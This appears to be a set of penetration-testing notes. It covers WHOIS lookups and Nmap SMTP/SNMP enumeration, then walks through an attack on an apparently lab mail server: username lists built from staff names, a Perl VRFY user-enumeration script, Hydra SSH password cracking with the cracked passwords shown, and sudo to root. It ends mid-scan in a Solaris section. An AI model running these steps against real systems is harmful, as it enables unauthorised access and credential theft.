Finding WHOIS Information with Examples

The place you want to start is at iana.org. iana.org is the authrotive registery for all the Top Level Domains on the net. The Idea here is to traverse down the DNS hierarchy to a level where you can find the Registrant information you are looking for. The process goes from Registry to Registrar to finally the Registrant information you seek.

Querying IANA.org

To start off we will use the 'whois' utility included in most distributions. the '-h' option specifies which registry to use while we issue the query to the server. In our example we will use yahoo.com to find the registrant information we are looking for.

First we start off by looking up the whole 'com' TLD to see who it is handled by.

root@asus:~/unix% whois com -h whois.iana.org
% IANA WHOIS server
% for more information on IANA, visit http://www.iana.org
% This query returned 1 object

domain:       COM

organisation: VeriSign Global Registry Services
address:      12061 Bluemont Way
address:      Reston Virginia 20190
address:      United States

contact:      administrative
name:         Registry Customer Service
organisation: VeriSign Global Registry Services
address:      12061 Bluemont Way
address:      Reston Virginia 20190
address:      United States
phone:        +1 703 925-6999
fax-no:       +1 703 948 3978
e-mail:       info@verisign-grs.com

contact:      technical
name:         Registry Customer Service
organisation: VeriSign Global Registry Services
address:      12061 Bluemont Way
address:      Reston Virginia 20190
address:      United States
phone:        +1 703 925-6999
fax-no:       +1 703 948 3978
e-mail:       info@verisign-grs.com

nserver:      A.GTLD-SERVERS.NET 192.5.6.30 2001:503:a83e:0:0:0:2:30
nserver:      B.GTLD-SERVERS.NET 192.33.14.30 2001:503:231d:0:0:0:2:30
nserver:      C.GTLD-SERVERS.NET 192.26.92.30 2001:503:83eb:0:0:0:0:30
nserver:      D.GTLD-SERVERS.NET 192.31.80.30 2001:500:856e:0:0:0:0:30
nserver:      E.GTLD-SERVERS.NET 192.12.94.30 2001:502:1ca1:0:0:0:0:30
nserver:      F.GTLD-SERVERS.NET 192.35.51.30 2001:503:d414:0:0:0:0:30
nserver:      G.GTLD-SERVERS.NET 192.42.93.30 2001:503:eea3:0:0:0:0:30
nserver:      H.GTLD-SERVERS.NET 192.54.112.30 2001:502:8cc:0:0:0:0:30
nserver:      I.GTLD-SERVERS.NET 192.43.172.30 2001:503:39c1:0:0:0:0:30
nserver:      J.GTLD-SERVERS.NET 192.48.79.30 2001:502:7094:0:0:0:0:30
nserver:      K.GTLD-SERVERS.NET 192.52.178.30 2001:503:d2d:0:0:0:0:30
nserver:      L.GTLD-SERVERS.NET 192.41.162.30 2001:500:d937:0:0:0:0:30
nserver:      M.GTLD-SERVERS.NET 192.55.83.30 2001:501:b1f9:0:0:0:0:30
ds-rdata:     30909 8 2 E2D3C916F6DEEAC73294E8268FB5885044A833FC5459588F4A9184CFC41A5766

whois:        whois.verisign-grs.com

status:       ACTIVE
remarks:      Registration information: http://www.verisigninc.com

created:      1985-01-01
changed:      2017-10-05
source:       IANA

root@asus:~/unix% 

If we look at the output of the command we see a field called 'whois'. This is the field we need to know in order to query the next server in the process. the host 'whois.verisign-grs.com' holds all the information for all '.com' addresses on the internet.

root@asus:~/unix% whois yahoo.com -h whois.verisign-grs.com
   Domain Name: YAHOO.COM
   Registry Domain ID: 3643624_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.markmonitor.com
   Registrar URL: http://www.markmonitor.com
   Updated Date: 2018-02-02T01:07:18Z
   Creation Date: 1995-01-18T05:00:00Z
   Registry Expiry Date: 2023-01-19T05:00:00Z
   Registrar: MarkMonitor Inc.
   Registrar IANA ID: 292
   Registrar Abuse Contact Email: abusecomplaints@markmonitor.com
   Registrar Abuse Contact Phone: +1.2083895740
   Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
   Domain Status: serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited
   Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
   Domain Status: serverUpdateProhibited https://icann.org/epp#serverUpdateProhibited
   Name Server: NS1.YAHOO.COM
   Name Server: NS2.YAHOO.COM
   Name Server: NS3.YAHOO.COM
   Name Server: NS4.YAHOO.COM
   Name Server: NS5.YAHOO.COM
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2019-04-29T01:33:02Z <<<

For more information on Whois status codes, please visit https://icann.org/epp
root@asus:~/unix% 

In the output here we see a field called 'Registrar WHOIS Server'. This next whois server should give us the information we are looking for when we query it with the appropriate information.

root@asus:~/unix% whois yahoo.com -h whois.markmonitor.com
Domain Name: yahoo.com
Registry Domain ID: 3643624_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.markmonitor.com
Registrar URL: http://www.markmonitor.com
Updated Date: 2018-10-23T11:09:46-0700
Creation Date: 1995-01-18T00:00:00-0800
Registrar Registration Expiration Date: 2023-01-18T21:00:00-0800
Registrar: MarkMonitor, Inc.
Registrar IANA ID: 292
Registrar Abuse Contact Email: abusecomplaints@markmonitor.com
Registrar Abuse Contact Phone: +1.2083895740
Domain Status: clientUpdateProhibited (https://www.icann.org/epp#clientUpdateProhibited)
Domain Status: clientTransferProhibited (https://www.icann.org/epp#clientTransferProhibited)
Domain Status: clientDeleteProhibited (https://www.icann.org/epp#clientDeleteProhibited)
Domain Status: serverUpdateProhibited (https://www.icann.org/epp#serverUpdateProhibited)
Domain Status: serverTransferProhibited (https://www.icann.org/epp#serverTransferProhibited)
Domain Status: serverDeleteProhibited (https://www.icann.org/epp#serverDeleteProhibited)
Registry Registrant ID: 
Registrant Name: Domain Admin
Registrant Organization: Oath Inc.
Registrant Street: 22000 AOL Way
Registrant City: Dulles
Registrant State/Province: VA
Registrant Postal Code: 20166
Registrant Country: US
Registrant Phone: +1.4083493300
Registrant Phone Ext: 
Registrant Fax: 
Registrant Fax Ext: 
Registrant Email: domain-admin@oath.com
Registry Admin ID: 
Admin Name: Domain Admin
Admin Organization: Oath Inc.
Admin Street: 22000 AOL Way
Admin City: Dulles
Admin State/Province: VA
Admin Postal Code: 20166
Admin Country: US
Admin Phone: +1.4083493300
Admin Phone Ext: 
Admin Fax: 
Admin Fax Ext: 
Admin Email: domain-admin@oath.com
Registry Tech ID: 
Tech Name: Domain Admin
Tech Organization: Oath Inc.
Tech Street: 22000 AOL Way
Tech City: Dulles
Tech State/Province: VA
Tech Postal Code: 20166
Tech Country: US
Tech Phone: +1.4083493300
Tech Phone Ext: 
Tech Fax: 
Tech Fax Ext: 
Tech Email: domain-admin@oath.com
Name Server: ns3.yahoo.com
Name Server: ns5.yahoo.com
Name Server: ns4.yahoo.com
Name Server: ns1.yahoo.com
Name Server: ns2.yahoo.com
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2019-04-28T18:34:44-0700 <<<

For more information on WHOIS status codes, please visit:
  https://www.icann.org/resources/pages/epp-status-codes

MarkMonitor.com reserves the right to modify these terms at any time.

By submitting this query, you agree to abide by this policy.

MarkMonitor is the Global Leader in Online Brand Protection.

MarkMonitor Domain Management(TM)
MarkMonitor Brand Protection(TM)
MarkMonitor AntiCounterfeiting(TM)
MarkMonitor AntiPiracy(TM)
MarkMonitor AntiFraud(TM)
Professional and Managed Services

Visit MarkMonitor at https://www.markmonitor.com
Contact us at +1.8007459229
In Europe, at +44.02032062220
----
root@asus:~/unix% 

Enumerating SMTP Servers with NMAP

NMAP gives you the ability to enumerate SMTP service with some scripts from the NMAP Scripting Enigne. These scripts will produce some general and specific information about a remote host running the SMTP Service.

smtp-enum-users

Enumerate possible mail users on the remote machine.

sam@asus:~/unix% nmap -p 25 --script=smtp-enum-users 192.168.0.27

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-27 15:50 MDT
Nmap scan report for smtp.acme.com (192.168.0.27)
Host is up (0.00021s latency).
PORT   STATE SERVICE
25/tcp open  smtp
| smtp-enum-users: 
|   root
|_  test

Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds
sam@asus:~/unix% 

smtp-open-relay

Checking for SMTP Open Relays

sam@asus:~/unix% nmap -p 25 --script=smtp-open-relay 192.168.0.27

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-27 15:51 MDT
Nmap scan report for smtp.acme.com (192.168.0.27)
Host is up (0.00061s latency).
PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-open-relay: Server is an open relay (16/16 tests)

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
sam@asus:~/unix% 

smtp-commands

To see the avaiable commands on the remote server, user the 'smtp-commands' script.

sam@asus:~/unix% nmap -p 25 --script=smtp-commands 192.168.0.27

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-27 15:52 MDT
Nmap scan report for smtp.acme.com (192.168.0.27)
Host is up (0.00022s latency).
PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-commands: asus, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds
sam@asus:~/unix% 

Enumerating SNMP Servers with NMAP

NMAP gives you the ability to use scripts to enumerate and exploit remote host with the use of the NMAP Scripting Engine. Today we will be using NMAP scripts against a remote host running the SNMP service.

snmp-info

To return basic information about the SNMP server user the 'snmp-info' script against the host.

root@asus:~/unix% nmap -sU -p 161 --script=snmp-info 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-26 17:32 MDT
Nmap scan report for mgmt.acme.com (192.168.0.25)
Host is up (0.00042s latency).
PORT    STATE SERVICE
161/udp open  snmp
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 5fd4fd7eafbcbf5c00000000
|   snmpEngineBoots: 4
|_  snmpEngineTime: 2d21h31m42s

Nmap done: 1 IP address (1 host up) scanned in 2.29 seconds
root@asus:~/unix%

snmp-interfaces

To return Network Information about the remote host run the 'snmp-interfaces'

root@asus:~/unix% nmap -sU -p 161 --script=snmp-interfaces 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-26 17:33 MDT
Nmap scan report for mgmt.acme.com (192.168.0.25)
Host is up (0.00053s latency).
PORT    STATE SERVICE
161/udp open  snmp
| snmp-interfaces: 
|   lo
|     IP address: 192.168.0.25  Netmask: 255.0.0.0
|     Type: softwareLoopback  Speed: 10 Mbps
|     Status: up
|     Traffic stats: 33.45 Mb sent, 33.45 Mb received
|   Intel Corporation Wireless 7265
|     IP address: 10.228.100.110  Netmask: 255.224.0.0
|     MAC address: f8:94:c2:f6:72:64 (Unknown)
|     Type: ethernetCsmacd  Speed: 0 Kbps
|     Status: up
|_    Traffic stats: 1.55 Gb sent, 1.41 Gb received

Nmap done: 1 IP address (1 host up) scanned in 1.49 seconds
root@asus:~/unix% 

snmp-netstat

You can also gather active netstat output from a remote host running SNMP with the 'snmp-netstat' script.

root@asus:~/unix% nmap -sU -p 161 --script=snmp-netstat 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-26 17:33 MDT
Nmap scan report for mgmt.acme.com (192.168.0.25)
Host is up (0.00044s latency).
PORT    STATE SERVICE
161/udp open  snmp
| snmp-netstat: 
|   TCP  0.0.0.0:389          0.0.0.0:0
|   TCP  0.0.0.0:4433         0.0.0.0:0
|   TCP  0.0.0.0:58210        0.0.0.0:0
|   TCP  10.228.100.110:39722 184.25.204.33:80
|   TCP  10.228.100.110:47888 172.217.1.206:443
|   TCP  10.228.100.110:48270 172.217.1.206:443
|   TCP  10.228.100.110:53402 74.125.201.188:5228
|   TCP  10.228.100.110:58136 173.194.162.170:443
|   TCP  10.228.100.110:59808 74.125.1.169:443
|   TCP  10.228.100.110:59814 74.125.1.169:443
|   TCP  192.168.0.25:631        0.0.0.0:0
|   TCP  192.168.0.25:3306       0.0.0.0:0
|   TCP  192.168.0.25:6667       0.0.0.0:0
|   UDP  0.0.0.0:68           *:*
|   UDP  0.0.0.0:123          *:*
|   UDP  0.0.0.0:161          *:*
|   UDP  0.0.0.0:631          *:*
|   UDP  0.0.0.0:5353         *:*
|   UDP  0.0.0.0:6771         *:*
|   UDP  0.0.0.0:35616        *:*
|   UDP  0.0.0.0:35686        *:*
|   UDP  0.0.0.0:42840        *:*
|   UDP  0.0.0.0:58210        *:*
|   UDP  0.0.0.0:58338        *:*
|   UDP  10.228.100.110:123   *:*
|   UDP  10.228.100.110:6771  *:*
|   UDP  10.228.100.110:37725 *:*
|   UDP  192.168.0.25:123        *:*
|   UDP  192.168.0.25:6771       *:*
|   UDP  192.168.0.25:55301      *:*
|_  UDP  224.0.0.251:5353     *:*

Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds
root@asus:~/unix% 

snmp-sysdescr

Reterive the SNMP Server type and Operating system with the 'snmp-sysdescr' script.

root@asus:~/unix% nmap -sU -p 161 --script=snmp-sysdescr 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-26 17:34 MDT
Nmap scan report for mgmt.acme.com (192.168.0.25)
Host is up (0.00045s latency).
PORT    STATE SERVICE
161/udp open  snmp
| snmp-sysdescr: Linux asus 4.9.4-galliumos-braswell #1 SMP PREEMPT galliumos2 Thu Feb 23 01:58:04 UTC 2017 x86_64
|_  System uptime: 2d21h33m34.15s (25041415 timeticks)

Nmap done: 1 IP address (1 host up) scanned in 1.32 seconds
root@asus:~/unix% 

snmp-processes

List all processes on the target machine with the 'snmp-processes' script. Be careful this will generate quit a lot of output on the screen so it is better to log it to a file.

root@asus:~/unix% nmap -sU -p 161 --script=snmp-processes 192.168.0.25
Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-26 17:43 MDT
Nmap scan report for mgmt.acme.com (192.168.0.25)
Host is up (0.027s latency).
PORT    STATE SERVICE
161/udp open  snmp
| snmp-processes: 
|   1: 
|     Name: systemd
|     Path: /sbin/init
|     Params: splash
|   2: 
|     Name: kthreadd
|   3: 
|     Name: ksoftirqd/0
...

Nmap done: 1 IP address (1 host up) scanned in 4.16 seconds
root@asus:~/unix%

snmp-w32-software

List all software on the remote machine with the 'snmp-win32-software'. This will also generate a lot of output.

root@asus:~/unix% nmap -sU -p 161 --script=snmp-win32-software 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-26 17:43 MDT
Nmap scan report for mgmt.acme.com (192.168.0.25)
Host is up (0.00049s latency).
PORT    STATE SERVICE
161/udp open  snmp
| snmp-win32-software: 
|   accountsservice-0.6.40-2ubuntu11.3; 0-01-01T00:00:00
|   acl-2.2.52-3; 0-01-01T00:00:00
|   adduser-3.113+nmu3ubuntu4; 0-01-01T00:00:00
|   adwaita-icon-theme-3.18.0-2ubuntu3.1; 0-01-01T00:00:00
|   alsa-base-1.0.25+dfsg-0ubuntu5; 0-01-01T00:00:00
|   alsa-utils-1.1.0-0ubuntu5; 0-01-01T00:00:00
|   anacron-2.3-23; 0-01-01T00:00:00
|   apache2-2.4.18-2ubuntu3.10; 0-01-01T00:00:00
|   apache2-bin-2.4.18-2ubuntu3.10; 0-01-01T00:00:00
|   apache2-data-2.4.18-2ubuntu3.10; 0-01-01T00:00:00
|   apache2-utils-2.4.18-2ubuntu3.10; 0-01-01T00:00:00
|   app-install-data-15.10; 0-01-01T00:00:00
|   apparmor-2.10.95-0ubuntu2.10; 0-01-01T00:00:00
|   apt-1.2.29ubuntu0.1; 0-01-01T00:00:00
|   apt-utils-1.2.29ubuntu0.1; 0-01-01T00:00:00
|   aptdaemon-1.1.1+bzr982-0ubuntu14; 0-01-01T00:00:00
|   aptdaemon-data-1.1.1+bzr982-0ubuntu14; 0-01-01T00:00:00
|   arc-theme-galliumos-0git20160407.46a232e-galliumos4; 0-01-01T00:00:00
|   aspell-0.60.7~20110707-3build1; 0-01-01T00:00:00
|   aspell-en-7.1-0-1.1; 0-01-01T00:00:00
|   at-spi2-core-2.18.3-4ubuntu1; 0-01-01T00:00:00
|   audacity-2.1.2-1; 0-01-01T00:00:00
|   audacity-data-2.1.2-1; 0-01-01T00:00:00
|   avahi-autoipd-0.6.32~rc+dfsg-1ubuntu2.3; 0-01-01T00:00:00
|   avahi-daemon-0.6.32~rc+dfsg-1ubuntu2.3; 0-01-01T00:00:00
|   avahi-utils-0.6.32~rc+dfsg-1ubuntu2.3; 0-01-01T00:00:00
...

Nmap done: 1 IP address (1 host up) scanned in 26.03 seconds
root@asus:~/unix%

Run All Scripts Against a Host

Finally, to run all SNMP enumeration nmap scripts against a host use the '-sC' option.

root@asus:~/unix% nmap -sU -p 161 -sV -sC 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-26 17:21 MDT
Nmap scan report for mgmt.acme.com (192.168.0.25)
Host is up (0.012s latency).
PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-hh3c-logins: 
|_  baseoid: 1.3.6.1.4.1.25506.2.12.1.1.1
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 5fd4fd7eafbcbf5c00000000
|   snmpEngineBoots: 4
|_  snmpEngineTime: 2d21h20m48s
| snmp-interfaces: 
|   lo
|     IP address: 192.168.0.25  Netmask: 255.0.0.0
|     Type: softwareLoopback  Speed: 10 Mbps
|     Traffic stats: 31.58 Mb sent, 31.58 Mb received
|   Intel Corporation Wireless 7265
|     IP address: 10.228.100.110  Netmask: 255.224.0.0
|     MAC address: f8:94:c2:f6:72:64 (Unknown)
|     Type: ethernetCsmacd  Speed: 0 Kbps
|_    Traffic stats: 1.55 Gb sent, 1.40 Gb received
| snmp-netstat: 
|   TCP  0.0.0.0:389          0.0.0.0:0
|   TCP  0.0.0.0:4433         0.0.0.0:0
|   TCP  0.0.0.0:58210        0.0.0.0:0
|   TCP  10.228.100.110:34344 172.217.2.14:443
|   TCP  10.228.100.110:34346 172.217.2.14:443
|   TCP  10.228.100.110:34572 172.217.12.3:443
|   TCP  10.228.100.110:36808 172.217.13.163:443
|   TCP  10.228.100.110:37260 151.139.128.14:80
|   TCP  10.228.100.110:37584 172.217.11.244:443
|   TCP  10.228.100.110:39722 184.25.204.33:80
|   TCP  10.228.100.110:44244 172.217.1.201:443
|   TCP  10.228.100.110:45064 172.217.2.3:443
|   TCP  10.228.100.110:45082 172.217.2.3:443
|   TCP  10.228.100.110:47888 172.217.1.206:443
|   TCP  10.228.100.110:49920 144.76.137.80:443
|   TCP  10.228.100.110:50016 72.21.91.29:80
|   TCP  10.228.100.110:51460 185.199.111.154:443
|   TCP  10.228.100.110:51466 185.199.111.154:443
|   TCP  10.228.100.110:51906 172.217.2.10:443
|   TCP  10.228.100.110:53402 74.125.201.188:5228
|   TCP  10.228.100.110:53712 107.154.108.145:443
|   TCP  10.228.100.110:54540 172.217.1.196:443
|   TCP  10.228.100.110:58072 173.194.162.170:443
|   TCP  10.228.100.110:58250 172.217.2.1:443
|   TCP  10.228.100.110:59750 74.125.1.169:443
|   TCP  10.228.100.110:60384 172.217.11.225:443
|   TCP  192.168.0.25:631        0.0.0.0:0
|   TCP  192.168.0.25:3306       0.0.0.0:0
|   TCP  192.168.0.25:6667       0.0.0.0:0
|   UDP  0.0.0.0:68           *:*
|   UDP  0.0.0.0:123          *:*
|   UDP  0.0.0.0:161          *:*
|   UDP  0.0.0.0:631          *:*
|   UDP  0.0.0.0:5353         *:*
|   UDP  0.0.0.0:6771         *:*
|   UDP  0.0.0.0:35616        *:*
|   UDP  0.0.0.0:35686        *:*
|   UDP  0.0.0.0:42840        *:*
|   UDP  0.0.0.0:58210        *:*
|   UDP  0.0.0.0:58338        *:*
|   UDP  10.228.100.110:123   *:*
|   UDP  10.228.100.110:6771  *:*
|   UDP  10.228.100.110:37725 *:*
|   UDP  192.168.0.25:123        *:*
|   UDP  192.168.0.25:6771       *:*
|   UDP  192.168.0.25:55301      *:*
|_  UDP  224.0.0.251:5353     *:*
| snmp-processes: 
|   1: 
|     Name: systemd
|     Path: /sbin/init
|     Params: splash
|   2: 
|     Name: kthreadd
|   3: 
|     Name: ksoftirqd/0
|   5: 
|     Name: kworker/0:0H
|   7: 
|     Name: rcu_preempt
|   8: 
|     Name: rcu_sched
|   9: 
|
| snmp-sysdescr: Linux asus 4.9.4-galliumos-braswell #1 SMP PREEMPT galliumos2 Thu Feb 23 01:58:04 UTC 2017 x86_64
|_  System uptime: 2d21h20m47.87s (24964787 timeticks)
| snmp-win32-software: 
|   accountsservice-0.6.40-2ubuntu11.3; 0-01-01T00:00:00
|   acl-2.2.52-3; 0-01-01T00:00:00
|   adduser-3.113+nmu3ubuntu4; 0-01-01T00:00:00
|   adwaita-icon-theme-3.18.0-2ubuntu3.1; 0-01-01T00:00:00
|   alsa-base-1.0.25+dfsg-0ubuntu5; 0-01-01T00:00:00
|   alsa-utils-1.1.0-0ubuntu5; 0-01-01T00:00:00
|   anacron-2.3-23; 0-01-01T00:00:00
|   apache2-2.4.18-2ubuntu3.10; 0-01-01T00:00:00
|   apache2-bin-2.4.18-2ubuntu3.10; 0-01-01T00:00:00
|   apache2-data-2.4.18-2ubuntu3.10; 0-01-01T00:00:00
|   apache2-utils-2.4.18-2ubuntu3.10; 0-01-01T00:00:00
|   app-install-data-15.10; 0-01-01T00:00:00
|   apparmor-2.10.95-0ubuntu2.10; 0-01-01T00:00:00
|   apt-1.2.29ubuntu0.1; 0-01-01T00:00:00
|   apt-utils-1.2.29ubuntu0.1; 0-01-01T00:00:00
|   aptdaemon-1.1.1+bzr982-0ubuntu14; 0-01-01T00:00:00
|   aptdaemon-data-1.1.1+bzr982-0ubuntu14; 0-01-01T00:00:00
|   arc-theme-galliumos-0git20160407.46a232e-galliumos4; 0-01-01T00:00:00
|   aspell-0.60.7~20110707-3build1; 0-01-01T00:00:00
|   aspell-en-7.1-0-1.1; 0-01-01T00:00:00
|   zenity-3.18.1.1-1ubuntu2; 0-01-01T00:00:00
|   zenity-common-3.18.1.1-1ubuntu2; 0-01-01T00:00:00
|   zip-3.0-11; 0-01-01T00:00:00
|   zlib1g-1:1.2.8.dfsg-2ubuntu4.1; 0-01-01T00:00:00
|   zlib1g-dev-1:1.2.8.dfsg-2ubuntu4.1; 0-01-01T00:00:00
|_  zram-config-0.5-galliumos1; 0-01-01T00:00:00
Service Info: Host: asus

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.07 seconds
root@asus:~/unix%

Enumerating SNMP Servers

NMAP give you the ability to brute force SNMP community strings to look for valid users on the remote machine. We can do this by using the NMAP Scripting Engine and the 'snmp-brute' script.

root@asus:~/src% nmap -sU -p 161 --script snmp-brute 127.0.0.1 --script-args snmp-brute.communitiesdb=/home/sam/comstring.txt

Starting Nmap 7.01 ( https://nmap.org ) at 2019-10-05 15:33 MDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0010s latency).
PORT    STATE SERVICE
161/udp open  snmp
| snmp-brute: 
|   public - Valid credentials
|   router - Valid credentials
|   monitor - Valid credentials
|   adm - Valid credentials
|_  secret - Valid credentials

Nmap done: 1 IP address (1 host up) scanned in 7.02 seconds
root@asus:~/src% 

As you can see we successfully enumerated valid community strings on the remote host.

Attacking SMTP on Debian Linux

First lets do a quick service scan against the remote host.

root@asus:/mnt% nmap -sV -T4 -p22,25 mail.acme.com

Starting Nmap 7.01 ( https://nmap.org ) at 2018-12-28 19:39 MST
Nmap scan report for mail.acme.com
Host is up (0.00097s latency).
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
25/tcp open  smtp    Sendmail 8.15.2/8.15.2/Debian-8
MAC Address: 08:00:27:0C:B6:CC (Oracle VirtualBox virtual NIC)
Service Info: Host: debian9.acme.com; OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.63 seconds
root@asus:/mnt% 

Verify SMTP service is accepting connections

To verify whether or not the SMTP is actually running we can connect to it via telnet and issue a few commands.

root@asus:~/pentest_notes% telnet mail.acme.com 25
Trying mail.acme.com...
Connected to mail.acme.com.
Escape character is '^]'.
220 mail.acme.com ESMTP Sendmail 8.15.2/8.15.2/Debian-8; Fri, 28 Dec 2018 19:31:58 -0700;
HELO mail.acme.com
250 mail.acme.com Hello [77.x.x.x], pleased to meet you
quit
221 2.0.0 mail.acme.com closing connection
Connection closed by foreign host.
root@asus:~/pentest_notes%

Data set and user name enumeration

We need to create a list of potential users on the system from a list of names we got during OSINT.

Employee Names from Company Website

ray barnes
eaton gill
melodie foley
gail ramsey
amanda ruiz
blake wise
chanda goodman
perry tucker
arden clayton

from here we need to try different combinations of first and last name.

examples:

Ray Barnes = `rbarnes`
Ray Barnes = `rayb`
Ray Barnes = `r.barnes`
Ray Barnes = `ray`
Ray Barnes = `ray_barnes`
etc...

our list should look something like so:

root@asus:~/pentest_notes% cat en.txt | sort | head -n 15
a.clayton
a_clayton
aclayton
amanda
amandar
arden
ardenc
a.ruiz
a_ruiz
aruiz
barnesr
blake
blakew
b.wise
b_wise
root@asus:~/pentest_notes% 

Verifying mail users using VRFY command

There are 3 ways we can see if users exist on the system. VRFY, EXPN and RCPT TO. In this example we will be using the VRFY command to enumerate users since we know its allowed on the server. We can write a small script to enumerate a list of users instead of doing it manually.

----- SNIP -----

#!/usr/bin/env perl
use strict;
use warnings;

use Net::SMTP;

open(my $fh, '<', 'users.txt') or die $!;

my @users;
while (<$fh>) {
    chomp($_);
    push(@users, $_);
}

close($fh) or die $!;

my $s = Net::SMTP->new('mail.acme.com');

for my $user (0..$#users) { 
    print "$users[$user] user exists\n" if ($s->verify($users[$user]));
    sleep(1);
}
$s->quit; 

----- SNIP -----

Now we can enumerate the server for possible usernames on the remote system.

root@asus:~/pentest_notes% ./enum_smtp_users.pl 
rbarnes user exists
egill user exists
mfoley user exists
gramsey user exists
aruiz user exists
bwise user exists
cgoodman user exists
ptucker user exists
aclayton user exists
root@asus:~/pentest_notes% 

looks like we found some valid combinations using only first and last names. our next task is to issue a dictionary attack against SSH using these usernames and the rockyou.txt word list and see what we can find.

Cracking User Logins With Hydra

For the dictionary attack we are going to use Hydra.

root@asus:~/pentest_notes% hydra -L smtp-users.txt -P ry-smtp.txt -t 4 mail.acme.com ssh
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-29 10:09:27
[DATA] max 16 tasks per 1 server, overall 64 tasks, 81 login tries (l:9/p:9), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: mail.acme.com   login: rbarnes   password: YOUSUCK!
[22][ssh] host: mail.acme.com   login: egill   password: fulori
[22][ssh] host: mail.acme.com   login: mfoley   password: pielagorda
[22][ssh] host: mail.acme.com   login: gramsey   password: shin4ever
[22][ssh] host: mail.acme.com   login: aruiz   password: bubba98
[22][ssh] host: mail.acme.com   login: bwise   password: 241729
[22][ssh] host: mail.acme.com   login: cgoodman   password: almaleticia
[22][ssh] host: mail.acme.com   login: ptucker   password: sdsmfree
[22][ssh] host: mail.acme.com   login: aclayton   password: lak6510
1 of 1 target successfully completed, 9 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-27 22:55:50
root@asus:~/pentest_notes% 

Verify remote login users and passwords

looks like we were able to crack all the passwords. Our next task is to test SSH to see if these logins actually work.

root@asus:~/pentest_notes% ssh -l rbarnes 192.168.0.114
rbarnes@192.168.0.114's password: 
Linux debian9 4.9.0-8-686 #1 SMP Debian 4.9.130-2 (2018-10-27) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
rbarnes@debian9:~$ id
uid=1005(rbarnes) gid=1005(rbarnes) groups=1005(rbarnes)
rbarnes@debian9:~$ sudo -s

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for rbarnes: 
rbarnes is not in the sudoers file.  This incident will be reported.
rbarnes@debian9:~$ 

The login works, but unfortunately we are not in the sudoers group. also note our attempt was logged which is not a good thing.

Privilege Escalation to root

if we keep digging we find an account which is in the sudoers group.

root@asus:~/pentest_notes% ssh -l aclayton 192.168.0.114
aclayton@192.168.0.114's password: 
Linux debian9 4.9.0-8-686 #1 SMP Debian 4.9.130-2 (2018-10-27) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Dec 26 20:12:09 2018 from 192.168.0.100
aclayton@debian9:~$ id
uid=1001(aclayton) gid=1001(aclayton) groups=1001(aclayton),27(sudo)
aclayton@debian9:~$ sudo -s

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for aclayton: 
root@debian9:/home/aclayton# id
uid=0(root) gid=0(root) groups=0(root)
root@debian9:/home/aclayton#

as you can see we just issue a `sudo -s` with the password we cracked earlier and got a root shell from just a list of names from the company website.

Attacking fingerd and rlogin on Solaris 10

The rlogin service has known security issues and is better turned off to use better tools such as SSH to handle login procedures. What follows is a penetration test of a Solaris 10 server running fingerd and rlogin. To start off lets first scan the suspected host for any open ports.

Scanning the host

root@asus:~/pentest_notes% nmap -sV -O -p79,513 osiris.acme.com

Starting Nmap 7.01 ( https://nmap.org ) at 2018-12-26 23:05 MST
Nmap scan report for osiris.acme.com
Host is up (0.0022s latency).
PORT    STATE SERVICE VERSION
